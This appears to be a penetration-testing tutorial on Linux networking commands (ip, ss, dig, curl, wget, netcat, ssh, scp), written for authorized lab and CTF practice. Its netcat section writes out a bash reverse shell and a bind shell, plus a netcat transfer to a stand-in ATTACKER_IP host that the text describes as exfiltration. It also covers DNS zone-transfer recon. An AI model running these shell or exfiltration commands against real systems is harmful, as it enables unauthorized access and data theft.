Networking from the CLI
ip, ss, netcat, curl, wget, ssh, scp - recon, transfer files, and catch shells.
Before you touch a target, you need to understand the network around you - your own interfaces, routes, open ports, and how data flows. And once you're on a target, your ability to move files, establish shells, and communicate home depends entirely on knowing these tools cold.
Your network interfaces - ip a
The modern command for network interfaces is ip, which replaced the deprecated ifconfig. You will still see ifconfig in old tutorials and some systems, so know both.
ip a # Show all interfaces and addresses
ip a show eth0 # Show a specific interface
ip link show # Show link-layer info (up/down state, MAC)
ip route # Show routing table
ip route show default # Show default gateway The tun0 interface is your VPN tunnel - exactly what you see when connected to a HTB or THM lab. That address on tun0 is your attack IP, the one you use as ATTACKER_IP in reverse shell payloads.
Old-style ifconfig (for reference)
ifconfig # All interfaces
ifconfig eth0 # Specific interfaceifconfig is not installed by default on modern Kali. Use ip.
Checking open ports - ss
ss (socket statistics) replaced netstat for inspecting open sockets on the local machine.
ss -tulpnBreaking down the flags: -t TCP, -u UDP, -l listening sockets, -p process name/PID, -n numeric (don't resolve names).
Notice MySQL is listening on 127.0.0.1:3306 - only accessible locally. SSH and Apache are on 0.0.0.0 - accessible from anywhere. When you're on a target, ss -tulpn reveals internal services that don't appear in an external nmap scan (a common pivot opportunity).
ping - is the host alive?
ping -c 4 10.10.10.5 # Send 4 packets then stop
ping -c 1 -W 1 10.10.10.5 # One packet, 1 second timeout (scripting)Note
Many targets (and cloud environments) filter ICMP. A host that doesn't respond to ping isn't necessarily dead - use nmap with TCP SYN probes (-Pn) to bypass ping filtering.
DNS - dig and nslookup
DNS is goldmine territory during reconnaissance. Company infrastructure, internal hostnames, mail servers, and subdomains all live in DNS records.
dig example.com # A record (default)
dig example.com ANY # All record types
dig example.com MX # Mail servers
dig example.com NS # Name servers
dig example.com TXT # TXT records (SPF, DKIM, internal hints)
dig @8.8.8.8 example.com # Query a specific resolver
dig -x 93.184.216.34 # Reverse DNS (PTR record)
nslookup example.com # Older interactive/one-shot tool The reverse lookup revealed an internal hostname: internal-web-01. That naming convention (internal-*) tells you a lot about the infrastructure.
Zone transfer attempt
dig axfr @ns1.example.com example.comIf the DNS server is misconfigured, AXFR dumps the entire zone - every hostname, IP, and record. Modern servers disable it, but it still works in CTFs and occasionally in the wild.
curl - the HTTP Swiss army knife
curl http://example.com # GET request, print body
curl -I http://example.com # HEAD request (headers only)
curl -i http://example.com # GET with response headers included
curl -X POST http://example.com # Specify HTTP method
curl -d "user=admin&pass=test" http://example.com/login # POST data
curl -H "X-Custom: value" http://example.com # Add header
curl -b "session=abc123" http://example.com # Send cookie
curl -u admin:password http://example.com # HTTP Basic Auth
curl -k https://example.com # Skip TLS cert verification
curl -L http://example.com # Follow redirects
curl -o file.html http://example.com # Save to file
curl -s http://example.com # Silent (no progress bar)
curl -v http://example.com # Verbose (show headers sent/received) Server headers reveal the stack. robots.txt often reveals paths the admin wanted hidden. curl -I is usually your first probe on a new HTTP target.
wget - download files
wget http://example.com/file.zip # Download file
wget -q http://example.com/file.zip # Quiet mode
wget -O custom_name.zip http://example.com/f # Custom output filename
wget -r -np http://example.com/ # Recursive download (mirror)wget is preferred over curl when you just want to download a file to disk - it shows a progress bar and handles resuming automatically.
Netcat - the network duct tape
Netcat (nc) is a raw TCP/UDP utility. It can open connections, listen for connections, transfer files, and - most famously - create shells.
Basic usage
nc host port # Connect to host:port (client)
nc -lvnp 4444 # Listen: -l listen, -v verbose, -n no DNS, -p portFile transfer with nc
On the receiving end:
nc -lvnp 9001 > received_file.txtOn the sending end:
nc ATTACKER_IP 9001 < file_to_send.txtThis is how you exfiltrate data or transfer tools from your attack machine to a compromised target - no FTP server required.
Reverse shells vs bind shells
Shell concepts - lab context
These concepts are fundamental to authorized penetration testing and CTF challenges. A shell via netcat is how you interact with a compromised machine after exploitation.
Reverse shell: the target connects back to you (the attacker). You listen; they call home.
# Attacker (your machine): listen for the incoming connection
nc -lvnp PORT
# Target (the victim machine, after exploitation):
# Reverse shell - set ATTACKER_IP / PORT to your own listener:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1Bind shell: the target opens a listening port; you connect to it.
# Target: open a shell on port 4444
nc -lvnp 4444 -e /bin/bash
# Attacker: connect to that port
nc 10.10.10.5 4444Reverse shells are far more common in real pentests because firewalls usually allow outbound connections but block inbound ones.
Lab and CTF use only
Shell techniques exist in this lesson to prepare you for authorized lab environments (HackTheBox, TryHackMe, your own VMs). Running reverse shell payloads against systems you do not own or have explicit written permission to test is a criminal offense under the Computer Fraud and Abuse Act and equivalent laws worldwide. Never execute these against unauthorized targets.
SSH - encrypted remote access
ssh user@host # Connect with password prompt
ssh -i private_key.pem user@host # Connect with a key file
ssh -p 2222 user@host # Non-standard port
ssh -L 8080:localhost:80 user@host # Local port forward
ssh -D 1080 user@host # SOCKS proxy (dynamic forwarding) Transferring files with scp
scp file.txt user@host:/remote/path/ # Upload
scp user@host:/remote/file.txt ./local/ # Download
scp -r ./dir user@host:/remote/path/ # Directory (recursive)
scp -i key.pem file.txt user@host:/tmp/ # With key filescp is the standard way to move files to and from a target once you have SSH access - during a pentest, this is how you upload tools or download evidence.
Key takeaways
ip aandip routeshow your interfaces and routing;tun0is your VPN tunnel address for labs.ss -tulpnshows listening services - run it on a compromised host to find internal services invisible to external scanning.digis the power tool for DNS recon; zone transfers (dig axfr) are worth attempting on every target.curl -Iprobes HTTP headers to fingerprint a server stack without downloading the full body.nc -lvnpsets up a listener; reverse shells call back to you when a target executes the payload.scptransfers files over SSH - both uploading tools and downloading loot from a target.